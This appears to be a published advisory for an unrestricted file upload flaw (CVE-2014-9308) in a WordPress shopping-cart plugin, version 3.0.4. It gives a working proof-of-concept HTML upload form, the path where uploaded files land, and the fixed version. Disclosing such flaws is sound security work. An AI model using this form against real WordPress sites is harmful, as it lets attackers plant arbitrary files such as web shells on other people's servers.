WordPress Shopping Cart plugin version 3.0.4 suffers from a remote unrestricted file upload vulnerability.
03ffee15380538723ae5cfad12dd43da2119095c9012a3d59aa6577b8e1a8c0e
# Exploit Title: WordPress Shopping Cart 3.0.4 Unrestricted File Upload
# Date: 29-10-2014
# Software Link: https://wordpress.org/plugins/wp-easycart/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# CVE: CVE-2014-9308
# Category: webapps
1. Description
Any registered user can upload any file because of incorrect if statement inside banneruploaderscript.php
http://security.szurek.pl/wordpress-shopping-cart-304-unrestricted-file-upload.html
2. Proof of Concept
Login as regular user (created using wp-login.php?action=register):
<form action="http://wordpress-install/wp-content/plugins/wp-easycart/inc/amfphp/administration/banneruploaderscript.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="datemd5" value="1">
<input type="file" name="Filedata">
<input value="Upload!" type="submit">
</form>
File will be visible:
http://wordpress-install/wp-content/plugins/wp-easycart/products/banners/%filename%_1.%fileextension%
3. Solution:
Update to version 3.0.9
https://downloads.wordpress.org/plugin/wp-easycart.3.0.9.zip